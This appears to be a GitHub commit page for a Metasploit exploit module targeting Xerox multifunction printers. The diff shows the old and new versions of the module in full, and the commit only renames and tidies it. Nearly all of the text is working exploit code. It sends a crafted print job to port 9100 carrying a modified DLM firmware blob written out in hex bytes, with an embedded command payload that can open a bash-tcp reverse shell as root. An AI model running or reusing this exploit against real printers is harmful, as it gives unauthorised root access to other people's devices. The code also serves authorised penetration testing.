Skip to content

Commit b7a1722

Browse files
wchen-r7wchen-r7
committed
Pass msftidy, more descriptive name and description
1 parent 64a59e8 commit b7a1722

File tree

1 file changed

+98
-93
lines changed

1 file changed

+98
-93
lines changed

‎modules/exploits/unix/misc/xerox_mfp.rb

Lines changed: 98 additions & 93 deletions
Original file line numberDiff line numberDiff line change
@@ -1,93 +1,98 @@
1-
##
2-
# This module requires Metasploit: http://metasploit.com/download
3-
# Current source: https://github.com/rapid7/metasploit-framework
4-
##
5-
6-
require 'msf/core'
7-
8-
class Metasploit3 < Msf::Exploit::Remote
9-
Rank = GoodRanking
10-
include Msf::Exploit::Remote::Tcp
11-
12-
def initialize(info = {})
13-
super(update_info(info,
14-
'Name' => 'Xerox reverse shell',
15-
'Description' => %{This module will execute commands with root priviages on Xerox Workcentre.},
16-
'Author' =>
17-
[
18-
'Deral "Percentx" Heiland',
19-
'Pete "Bokojan" Arzamendi'
20-
],
21-
'References' =>
22-
[
23-
['BID', '52483'],
24-
['URL', 'http://www.xerox.com/download/security/security-bulletin/1284332-2ddc5-4baa79b70ac40/cert_XRX12-003_v1.1.pdf'],
25-
['URL', 'http://foofus.net/goons/percx/Xerox_hack.pdf']
26-
],
27-
'Privileged' => true,
28-
'License' => MSF_LICENSE,
29-
'Payload' =>
30-
{
31-
'DisableNops' => true,
32-
'Space' => 512,
33-
'Compat' =>
34-
{
35-
'PayloadType' => 'cmd cmd_bash',
36-
'RequiredCmd' => 'generic bash-tcp'
37-
}
38-
},
39-
'Platform' => ['unix'],
40-
'Arch' => ARCH_CMD,
41-
'Targets' => [['Automatic', {}]],
42-
'DisclosureDate' => 'March 07 2012',
43-
'DefaultTarget' => 0))
44-
45-
register_options(
46-
[
47-
Opt::RPORT(9100)
48-
], self.class)
49-
end
50-
51-
def exploit
52-
print_status("Sending print job to #{rhost} ")
53-
firmcode = '%%XRXbegin' + "\x0A"
54-
firmcode << '%%OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE' + "\x0A"
55-
firmcode << '%%OID_ATT_JOB_SCHEDULING OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE' + "\x0A"
56-
firmcode << '%%OID_ATT_JOB_COMMENT "PraedaPWN2014:' + "#{payload.encoded}" + ':"' + "\x0A"
57-
firmcode << '%%OID_ATT_JOB_COMMENT "patch"' + "\x0A"
58-
firmcode << '%%OID_ATT_DLM_NAME "xerox"' + "\x0A"
59-
firmcode << '%%OID_ATT_DLM_VERSION "NO_DLM_VERSION_CHECK"' + "\x0A"
60-
firmcode << '%%OID_ATT_DLM_SIGNATURE "ca361047da56db9dd81fee6a23ff875facc3df0e1153d325c2d217c0e75f861b"' + "\x0A"
61-
firmcode << '%%OID_ATT_DLM_EXTRACTION_CRITERIA "extract /tmp/xerox.dnld"' + "\x0A"
62-
firmcode << '%%XRXend' + "\x0A\x1F\x8B\x08\x00\xB1\x8B\x49\x54\x00\x03\xED"
63-
firmcode << "\xD3\x41\x4B\xC3\x30\x14\x07\xF0\x9E\xFB\x29\xFE\xE2\x60\x20\x74"
64-
firmcode << "\x69\x63\x37\x61\x5A\xBC\x79\x94\xDD\x3C\xC8\xA0\x59\x9B\xDA\x4A"
65-
firmcode << "\xD7\xCC\xB4\xD3\x1D\xF6\xE1\x8D\xDD\x64\xB8\x83\x3B\x0D\x11\xFE"
66-
firmcode << "\xBF\x43\x03\xAF\x2F\xEF\xBD\xB4\x64\xA3\xAD\xD9\x8C\xDA\xD2\x3B"
67-
firmcode << "\xA3\xD0\xB9\x19\x8F\xFB\xD5\x39\x5E\xC3\x58\x4E\xBC\x48\xC6\x52"
68-
firmcode << "\x5E\x87\xE3\x89\x8C\xBD\x30\x8A\xE4\x44\x7A\x08\xCF\x39\xD4\xB7"
69-
firmcode << "\x75\xDB\x29\x0B\x78\xD6\x98\xEE\xB7\xBC\x53\xEF\xFF\xA9\xCB\x0B"
70-
firmcode << "\xB1\xA8\x1A\xB1\x50\x6D\xE9\x17\x55\x9D\xA4\x2F\x56\xAF\x10\xD4"
71-
firmcode << "\x08\x1E\x30\x9C\x59\xA5\x73\x35\x7B\x7A\x94\x61\x14\x0F\x21\xDE"
72-
firmcode << "\x95\x15\xED\xCA\x98\x5A\x34\x99\x68\x74\x27\x5E\xCD\x62\x7A\x35"
73-
firmcode << "\x8A\x52\xBF\x2A\xF0\x8C\xA0\xC0\xC0\xD5\xC0\xDC\xEF\x4A\xDD\xF8"
74-
firmcode << "\xC0\x47\x59\xD5\x1A\x56\xAB\x1C\x75\xD5\x68\x17\xC9\x8D\x7B\x00"
75-
firmcode << "\x3A\x2B\x0D\x06\x5F\x31\x6C\xB1\xEB\xF8\x06\xFC\x68\xD7\xE7\xF5"
76-
firmcode << "\x65\x07\xF7\x48\x12\x84\x98\xDF\x62\x5F\x17\xC8\xCC\x72\xA9\x9A"
77-
firmcode << "\x3C\x49\x0F\x95\xB6\xD9\xBA\x43\x90\x4F\xDD\x18\x32\xED\x93\x8A"
78-
firmcode << "\xAA\xEF\xE8\x9A\xDC\xF5\x83\xF9\xBB\xE4\xFD\xDE\xED\xE1\xE0\x76"
79-
firmcode << "\x89\x91\xD8\xEC\x6F\x82\xFB\x0C\xFE\x5F\xFF\x15\x22\x22\x22\x22"
80-
firmcode << "\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\xA2\xD3\x3E"
81-
firmcode << "\x01\x5A\x18\x54\xBB\x00\x28\x00\x00"
82-
83-
begin
84-
connect
85-
sock.put(firmcode)
86-
handler
87-
rescue Rex::ConnectionError, Rex::ConnectionRefused, Rex::ConnectionTimeout
88-
print_error("Error connecting to #{rhost}")
89-
ensure
90-
disconnect
91-
end
92-
end
93-
end
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
10+
Rank = GoodRanking
11+
include Msf::Exploit::Remote::Tcp
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Xerox Multifunction Printers (MFP) "Patch" DLM Vulnerability',
16+
'Description' => %{
17+
This module exploits a vulnerability found in Xerox Multifunction Printers (MFP). By
18+
supplying a modified Dynamic Loadable Module (DLM), it is possible to execute arbitrary
19+
commands under root priviages.
20+
},
21+
'Author' =>
22+
[
23+
'Deral "Percentx" Heiland',
24+
'Pete "Bokojan" Arzamendi'
25+
],
26+
'References' =>
27+
[
28+
['BID', '52483'],
29+
['URL', 'http://www.xerox.com/download/security/security-bulletin/1284332-2ddc5-4baa79b70ac40/cert_XRX12-003_v1.1.pdf'],
30+
['URL', 'http://foofus.net/goons/percx/Xerox_hack.pdf']
31+
],
32+
'Privileged' => true,
33+
'License' => MSF_LICENSE,
34+
'Payload' =>
35+
{
36+
'DisableNops' => true,
37+
'Space' => 512,
38+
'Compat' =>
39+
{
40+
'PayloadType' => 'cmd cmd_bash',
41+
'RequiredCmd' => 'generic bash-tcp'
42+
}
43+
},
44+
'Platform' => ['unix'],
45+
'Arch' => ARCH_CMD,
46+
'Targets' => [['Automatic', {}]],
47+
'DisclosureDate' => 'Mar 07 2012',
48+
'DefaultTarget' => 0))
49+
50+
register_options(
51+
[
52+
Opt::RPORT(9100)
53+
], self.class)
54+
end
55+
56+
def exploit
57+
print_status("#{rhost}:#{rport} - Sending print job...")
58+
firmcode = '%%XRXbegin' + "\x0A"
59+
firmcode << '%%OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE' + "\x0A"
60+
firmcode << '%%OID_ATT_JOB_SCHEDULING OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE' + "\x0A"
61+
firmcode << '%%OID_ATT_JOB_COMMENT "PraedaPWN2014:' + "#{payload.encoded}" + ':"' + "\x0A"
62+
firmcode << '%%OID_ATT_JOB_COMMENT "patch"' + "\x0A"
63+
firmcode << '%%OID_ATT_DLM_NAME "xerox"' + "\x0A"
64+
firmcode << '%%OID_ATT_DLM_VERSION "NO_DLM_VERSION_CHECK"' + "\x0A"
65+
firmcode << '%%OID_ATT_DLM_SIGNATURE "ca361047da56db9dd81fee6a23ff875facc3df0e1153d325c2d217c0e75f861b"' + "\x0A"
66+
firmcode << '%%OID_ATT_DLM_EXTRACTION_CRITERIA "extract /tmp/xerox.dnld"' + "\x0A"
67+
firmcode << '%%XRXend' + "\x0A\x1F\x8B\x08\x00\xB1\x8B\x49\x54\x00\x03\xED"
68+
firmcode << "\xD3\x41\x4B\xC3\x30\x14\x07\xF0\x9E\xFB\x29\xFE\xE2\x60\x20\x74"
69+
firmcode << "\x69\x63\x37\x61\x5A\xBC\x79\x94\xDD\x3C\xC8\xA0\x59\x9B\xDA\x4A"
70+
firmcode << "\xD7\xCC\xB4\xD3\x1D\xF6\xE1\x8D\xDD\x64\xB8\x83\x3B\x0D\x11\xFE"
71+
firmcode << "\xBF\x43\x03\xAF\x2F\xEF\xBD\xB4\x64\xA3\xAD\xD9\x8C\xDA\xD2\x3B"
72+
firmcode << "\xA3\xD0\xB9\x19\x8F\xFB\xD5\x39\x5E\xC3\x58\x4E\xBC\x48\xC6\x52"
73+
firmcode << "\x5E\x87\xE3\x89\x8C\xBD\x30\x8A\xE4\x44\x7A\x08\xCF\x39\xD4\xB7"
74+
firmcode << "\x75\xDB\x29\x0B\x78\xD6\x98\xEE\xB7\xBC\x53\xEF\xFF\xA9\xCB\x0B"
75+
firmcode << "\xB1\xA8\x1A\xB1\x50\x6D\xE9\x17\x55\x9D\xA4\x2F\x56\xAF\x10\xD4"
76+
firmcode << "\x08\x1E\x30\x9C\x59\xA5\x73\x35\x7B\x7A\x94\x61\x14\x0F\x21\xDE"
77+
firmcode << "\x95\x15\xED\xCA\x98\x5A\x34\x99\x68\x74\x27\x5E\xCD\x62\x7A\x35"
78+
firmcode << "\x8A\x52\xBF\x2A\xF0\x8C\xA0\xC0\xC0\xD5\xC0\xDC\xEF\x4A\xDD\xF8"
79+
firmcode << "\xC0\x47\x59\xD5\x1A\x56\xAB\x1C\x75\xD5\x68\x17\xC9\x8D\x7B\x00"
80+
firmcode << "\x3A\x2B\x0D\x06\x5F\x31\x6C\xB1\xEB\xF8\x06\xFC\x68\xD7\xE7\xF5"
81+
firmcode << "\x65\x07\xF7\x48\x12\x84\x98\xDF\x62\x5F\x17\xC8\xCC\x72\xA9\x9A"
82+
firmcode << "\x3C\x49\x0F\x95\xB6\xD9\xBA\x43\x90\x4F\xDD\x18\x32\xED\x93\x8A"
83+
firmcode << "\xAA\xEF\xE8\x9A\xDC\xF5\x83\xF9\xBB\xE4\xFD\xDE\xED\xE1\xE0\x76"
84+
firmcode << "\x89\x91\xD8\xEC\x6F\x82\xFB\x0C\xFE\x5F\xFF\x15\x22\x22\x22\x22"
85+
firmcode << "\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\xA2\xD3\x3E"
86+
firmcode << "\x01\x5A\x18\x54\xBB\x00\x28\x00\x00"
87+
88+
begin
89+
connect
90+
sock.put(firmcode)
91+
handler
92+
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::AddressInUse => e
93+
print_error("#{rhost}:#{rport} - #{e.message}")
94+
ensure
95+
disconnect
96+
end
97+
end
98+
end

0 commit comments

Comments
 (0)